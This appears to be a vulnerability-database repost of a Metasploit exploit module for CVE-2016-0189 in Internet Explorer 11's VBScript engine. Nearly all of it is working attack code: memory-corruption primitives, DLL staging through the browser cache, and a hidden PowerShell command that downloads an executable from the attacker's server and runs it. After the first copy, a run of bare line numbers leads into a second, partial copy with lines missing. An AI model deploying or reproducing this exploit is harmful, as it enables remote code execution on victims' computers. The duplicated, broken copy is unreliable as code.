Internet Explorer 11 VBScript Engine Memory Corruption

发表于 2016年08月15日
Vulndb

发布：2016.08.06
级别：高
CVE：CVE-2016-0189
远程：是

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption",
'Description' => %q{
This module exploits the memory corruption vulnerability (CVE-2016-0189)
present in the VBScript engine of Internet Explorer 11.
},
'License' => MSF_LICENSE,
'Author' => [
'Theori', # Original RE research and exploitation
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows 10 with IE 11', { } ]
],
'References' =>
[
[ 'CVE', '2016-0189' ],
[ 'MSB', 'MS16-051' ]
],
'Arch' => ARCH_X86_64,
'DisclosureDate' => "May 10 2016",
'DefaultTarget' => 0))
end

def setup
# @stage2html = Rex::Text.rand_text_alphanum(6)
@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri
@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri
@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }
super
end

def exploit_html(req_uri)
srvhost = datastore['SRVHOST']
srvport = datastore['SRVPORT']

template = <<-EOF
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>

<script type="text/vbscript">
Dim downloadFiles
Dim cacheRegex
Dim cacheFiles(3)

Dim downloadState
Dim pinTime

Dim oFSO
Dim oWS
Dim shell

function FindFile(path, regexFile)
FindFile = ""
For Each f in oFSO.GetFolder(path).Files
If regexFile.Test(f.Name) Then
FindFile = f.Name
Exit For
End If
Next
end function

function SearchCache(path, regexFile)
SearchCache = ""
For Each fld in oFSO.GetFolder(path).SubFolders
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
filename = FindFile(path & "" & fld.Name, regexFile)
If filename <> "" Then
SearchCache = path & "" & fld.Name & "" & filename
Exit For
End If
'End If
Next
end function

function loaddll()
On Error Resume Next

Set wshSystemEnv = oWS.Environment("Process")
tmpDir = oFSO.GetSpecialFolder(2)

tmpSysDir = tmpDir & "System32"
tmpShellFile = tmpSysDir & "shell32.dll"
oFSO.CreateFolder(tmpSysDir)
oFSO.MoveFile cacheFiles(0), tmpShellFile

mydllFile = tmpDir & "" & downloadFiles(1)
oFSO.MoveFile cacheFiles(1), mydllFile
wshSystemEnv("MyDllPath") = mydllFile

If (UBound(downloadFiles) = 2) Then
stage2File = tmpDir & "#{@pm_escape_html}.html"
oFSO.MoveFile cacheFiles(2), stage2File
wshSystemEnv("stage2file") = stage2File
End If

saveRoot = wshSystemEnv("SystemRoot")
wshSystemEnv("SaveSystemRoot") = saveRoot
wshSystemEnv("SystemRoot") = tmpDir
Set shell = CreateObject("Shell.Application")

If (UBound(downloadFiles) = 2) Then
call tolocal()
End If
end function

Sub OnDownloadDone()
If InStr(userAgent, "NT 5.") > 0 Then
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
cacheDir = cacheDir & "Local SettingsTemporary Internet FilesLowIE"
Else
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
cacheDir = cacheDir & "MicrosoftWindowsTemporary Internet FilesLowIE"
End If

Set regexFile = new regexp
regexFile.Pattern = cacheRegex(downloadState)
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
If cacheFiles(downloadState) = "" Then
Exit Sub
End If

If downloadState = UBound(downloadFiles) Then
loaddll()
Else
downloadState = downloadState + 1
DoDownload()
End If
End Sub

Sub DoDownload()
pinTime = Now
call getdll(downloadFiles(downloadState))
End Sub

Sub runshell()
downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
cacheRegex = Array("^#{@ieshell}[d].dll$", "^#{@localsrv}[d].dll$", "^#{@pm_escape_html}[d].htm$")
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oWS = CreateObject("WScript.Shell")
downloadState = 0
DoDownload()
End Sub

</script>

<script type="text/vbscript">
Dim bl
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)

Class ArrayWrapper
Dim A

Private Sub Class_Initialize
ReDim Preserve AA(1, 2000)
A = AA
End Sub

Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class

Class Spray
End Class


Function getAddr (arg1, s)
bl = Null
Set bl = New ArrayWrapper

For i = 0 To 32
Set plunge(i) = s
Next

Set bl.A(arg1, 2) = s

Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next

If addr = Null Then
document.location.href = document.location.href
Return
End If

getAddr = addr
End Function

Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)

bl = Null
Set bl = New ArrayWrapper

Dim o
o = bl.A(arg1, 2)

leakMem = o
End Function

Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)

bl = Null
Set bl = New ArrayWrapper
bl.A(arg1, 2) = CSng(0)
End Sub

Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem

Set sp = New Spray
addr = getAddr(arg1, sp)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
runshell()

End Function

Function triggerBug
bl.Resize()

Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>

<script type="text/javascript">
var userAgent = navigator.userAgent;
var oReq;
function getdll(downloadFile)
{
oReq = new XMLHttpRequest();
oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
oReq.onreadystatechange = handler;
oReq.send();
}
function handler()
{
if (oReq.readyState == 4 && oReq.status == 200) {
OnDownloadDone();
}
}
function tolocal()
{
location.href = "http://localhost:5555/#{@pm_escape_html}.html";
}
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
EOF

template
end

def stage2_html(req_uri)

template = <<-EOF
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)

Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
ReDim Preserve A(1, 2000)
End Sub

Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class

Class Dummy
End Class

Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper

For i = 0 To 32
Set plunge(i) = s
Next

Set aw.A(arg1, 2) = s

Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next

If addr = Null Then
document.location.href = document.location.href
Return
End If

getAddr = addr
End Function

Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)

aw = Null
Set aw = New ArrayWrapper

Dim o
o = aw.A(arg1, 2)

leakMem = o
End Function

Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)

aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
End Sub

Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem

Set dm = New Dummy
addr = getAddr(arg1, dm)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174

Set shObj = CreateObject("Wscript.shell")
shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
shObj.Run("%temp%#{@payload_exe}")

End Function

Function triggerBug
aw.Resize()

Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>

<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>

EOF
template
end

def on_request_uri(cli, request)
# used for some debugging stuff
ies = @ieshell
ls = @localsrv
pm = @pm_escape_html

print_status("Received request: #{request.uri}")
if request.uri =~ /.*#{ies}.*$/
print_status("Sending stage two DLL ...")
send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{ls}.*$/
print_status("Sending local server DLL ...")
send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{pm}.*$/
rq = "#{get_resource.chomp('/')}"
gm = stage2_html(rq)
send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
print_status("Sending main page ..")
send_response(cli, exploit_html(request.uri))
end
end

end

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::EXE

def initialize(info={})

super(update_info(info,

'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption",

'Description' => %q{

This module exploits the memory corruption vulnerability (CVE-2016-0189)

present in the VBScript engine of Internet Explorer 11.

'License' => MSF_LICENSE,

'Author' => [

'Theori', # Original RE research and exploitation

'William Webb <william_webb[at]rapid7.com>' # Metasploit module

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[ 'Windows 10 with IE 11', { } ]

'References' =>

[

[ 'CVE', '2016-0189' ],

[ 'MSB', 'MS16-051' ]

'Arch' => ARCH_X86_64,

'DisclosureDate' => "May 10 2016",

'DefaultTarget' => 0))

end

def setup

# @stage2html = Rex::Text.rand_text_alphanum(6)

@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri

@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri

@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html

@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"

@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"

File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }

File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }

super

end

def exploit_html(req_uri)

srvhost = datastore['SRVHOST']

srvport = datastore['SRVPORT']

template = <<-EOF

<html>

<head>

</head>

<body>

Dim downloadFiles

Dim cacheRegex

Dim cacheFiles(3)

Dim downloadState

Dim pinTime

Dim oFSO

Dim oWS

Dim shell

function FindFile(path, regexFile)

FindFile = ""

For Each f in oFSO.GetFolder(path).Files

If regexFile.Test(f.Name) Then

FindFile = f.Name

Exit For

End If

end function

function SearchCache(path, regexFile)

SearchCache = ""

For Each fld in oFSO.GetFolder(path).SubFolders

'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then

filename = FindFile(path & "" & fld.Name, regexFile)

If filename <> "" Then

SearchCache = path & "" & fld.Name & "" & filename

Exit For

End If

'End If

end function

function loaddll()

On Error Resume Next

Set wshSystemEnv = oWS.Environment("Process")

tmpDir = oFSO.GetSpecialFolder(2)

tmpSysDir = tmpDir & "System32"

tmpShellFile = tmpSysDir & "shell32.dll"

oFSO.CreateFolder(tmpSysDir)

oFSO.MoveFile cacheFiles(0), tmpShellFile

mydllFile = tmpDir & "" & downloadFiles(1)

oFSO.MoveFile cacheFiles(1), mydllFile

wshSystemEnv("MyDllPath") = mydllFile

If (UBound(downloadFiles) = 2) Then

stage2File = tmpDir & "#{@pm_escape_html}.html"

oFSO.MoveFile cacheFiles(2), stage2File

wshSystemEnv("stage2file") = stage2File

End If

saveRoot = wshSystemEnv("SystemRoot")

wshSystemEnv("SaveSystemRoot") = saveRoot

wshSystemEnv("SystemRoot") = tmpDir

Set shell = CreateObject("Shell.Application")

If (UBound(downloadFiles) = 2) Then

call tolocal()

End If

end function

Sub OnDownloadDone()

If InStr(userAgent, "NT 5.") > 0 Then

cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")

cacheDir = cacheDir & "Local SettingsTemporary Internet FilesLowIE"

Else

cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")

cacheDir = cacheDir & "MicrosoftWindowsTemporary Internet FilesLowIE"

End If

Set regexFile = new regexp

regexFile.Pattern = cacheRegex(downloadState)

cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)

If cacheFiles(downloadState) = "" Then

Exit Sub

End If

If downloadState = UBound(downloadFiles) Then

loaddll()

Else

downloadState = downloadState + 1

DoDownload()

End If

End Sub

Sub DoDownload()

pinTime = Now

call getdll(downloadFiles(downloadState))

End Sub

Sub runshell()

downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")

cacheRegex = Array("^#{@ieshell}[d].dll$", "^#{@localsrv}[d].dll$", "^#{@pm_escape_html}[d].htm$")

Set oFSO = CreateObject("Scripting.FileSystemObject")

Set oWS = CreateObject("WScript.Shell")

downloadState = 0

DoDownload()

End Sub

</script>

Dim bl

Dim plunge(32)

Dim y(32)

prefix = "%u4141%u4141"

d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"

b = String(64000, "D")

c = d & b

x = UnEscape(c)

Class ArrayWrapper

Dim A

Private Sub Class_Initialize

ReDim Preserve AA(1, 2000)

A = AA

End Sub

Public Sub Resize()

ReDim Preserve A(1, 1)

End Sub

End Class

Class Spray

End Class

Function getAddr (arg1, s)

bl = Null

Set bl = New ArrayWrapper

For i = 0 To 32

Set plunge(i) = s

Set bl.A(arg1, 2) = s

Dim addr

Dim i

For i = 0 To 31

If Asc(Mid(y(i), 3, 1)) = VarType(s) Then

addr = strToInt(Mid(y(i), 3 + 4, 2))

End If

y(i) = Null

If addr = Null Then

document.location.href = document.location.href

Return

End If

getAddr = addr

End Function

Function leakMem (arg1, addr)

d = prefix & "%u0008%u4141%u4141%u4141"

c = d & intToStr(addr) & b

x = UnEscape(c)

bl = Null

Set bl = New ArrayWrapper

Dim o

o = bl.A(arg1, 2)

leakMem = o

End Function

Sub overwrite (arg1, addr)

d = prefix & "%u400C%u0000%u0000%u0000"

c = d & intToStr(addr) & b

x = UnEscape(c)

bl = Null

Set bl = New ArrayWrapper

bl.A(arg1, 2) = CSng(0)

End Sub

Function exploit (arg1)

Dim addr

Dim csession

Dim olescript

Dim mem

Set sp = New Spray

addr = getAddr(arg1, sp)

mem = leakMem(arg1, addr + 8)

csession = strToInt(Mid(mem, 3, 2))

mem = leakMem(arg1, csession + 4)

olescript = strToInt(Mid(mem, 1, 2))

overwrite arg1, olescript + &H174

runshell()

End Function

Function triggerBug

bl.Resize()

Dim i

For i = 0 To 32

y(i) = Mid(x, 1, 24000)

End Function

</script>

var userAgent = navigator.userAgent;

var oReq;

function getdll(downloadFile)

{

oReq = new XMLHttpRequest();

oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);

oReq.onreadystatechange = handler;

oReq.send();

}

function handler()

{

if (oReq.readyState == 4 && oReq.status == 200) {

OnDownloadDone();

}

function tolocal()

{

location.href = "http://localhost:5555/#{@pm_escape_html}.html";

}

function strToInt(s)

{

return s.charCodeAt(0) | (s.charCodeAt(1) << 16);

}

function intToStr(x)

{

return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);

}

var o;

o = {"valueOf": function () {

triggerBug();

return 1;

}};

setTimeout(function() {exploit(o);}, 50);

</script>

</body>

</html>

EOF

template

end

def stage2_html(req_uri)

template = <<-EOF

<html>

<head>

</head>

<body>

Dim aw

Dim plunge(32)

Dim y(32)

prefix = "%u4141%u4141"

d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"

b = String(64000, "D")

c = d & b

x = UnEscape(c)

Class ArrayWrapper

Dim A()

Private Sub Class_Initialize

ReDim Preserve A(1, 2000)

End Sub

Public Sub Resize()

ReDim Preserve A(1, 1)

End Sub

End Class

Class Dummy

End Class

Function getAddr (arg1, s)

aw = Null

Set aw = New ArrayWrapper

For i = 0 To 32

Set plunge(i) = s

Set aw.A(arg1, 2) = s

Dim addr

Dim i

For i = 0 To 31

If Asc(Mid(y(i), 3, 1)) = VarType(s) Then

addr = strToInt(Mid(y(i), 3 + 4, 2))

End If

y(i) = Null

If addr = Null Then

document.location.href = document.location.href

Return

End If

getAddr = addr

End Function

Function leakMem (arg1, addr)

d = prefix & "%u0008%u4141%u4141%u4141"

c = d & intToStr(addr) & b

x = UnEscape(c)

aw = Null

Set aw = New ArrayWrapper

Dim o

o = aw.A(arg1, 2)

leakMem = o

End Function

Sub overwrite (arg1, addr)

d = prefix & "%u400C%u0000%u0000%u0000"

c = d & intToStr(addr) & b

x = UnEscape(c)

aw = Null

Set aw = New ArrayWrapper

aw.A(arg1, 2) = CSng(0)

End Sub

Function exploit (arg1)

Dim addr

Dim csession

Dim olescript

Dim mem

Set dm = New Dummy

addr = getAddr(arg1, dm)

mem = leakMem(arg1, addr + 8)

csession = strToInt(Mid(mem, 3, 2))

mem = leakMem(arg1, csession + 4)

olescript = strToInt(Mid(mem, 1, 2))

overwrite arg1, olescript + &H174

Set shObj = CreateObject("Wscript.shell")

shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")

shObj.Run("%temp%#{@payload_exe}")

End Function

Function triggerBug

aw.Resize()

Dim i

For i = 0 To 32

y(i) = Mid(x, 1, 24000)

End Function

</script>

function strToInt(s)

{

return s.charCodeAt(0) | (s.charCodeAt(1) << 16);

}

function intToStr(x)

{

return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);

}

var o;

o = {"valueOf": function () {

triggerBug();

return 1;

}};

setTimeout(function() {exploit(o);}, 50);

</script>

</body>

</html>

EOF

template

end

def on_request_uri(cli, request)

# used for some debugging stuff

ies = @ieshell

ls = @localsrv

pm = @pm_escape_html

print_status("Received request: #{request.uri}")

if request.uri =~ /.*#{ies}.*$/

print_status("Sending stage two DLL ...")

send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })

elsif request.uri =~ /.*#{ls}.*$/

print_status("Sending local server DLL ...")

send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })

elsif request.uri =~ /.*#{pm}.*$/

rq = "#{get_resource.chomp('/')}"

gm = stage2_html(rq)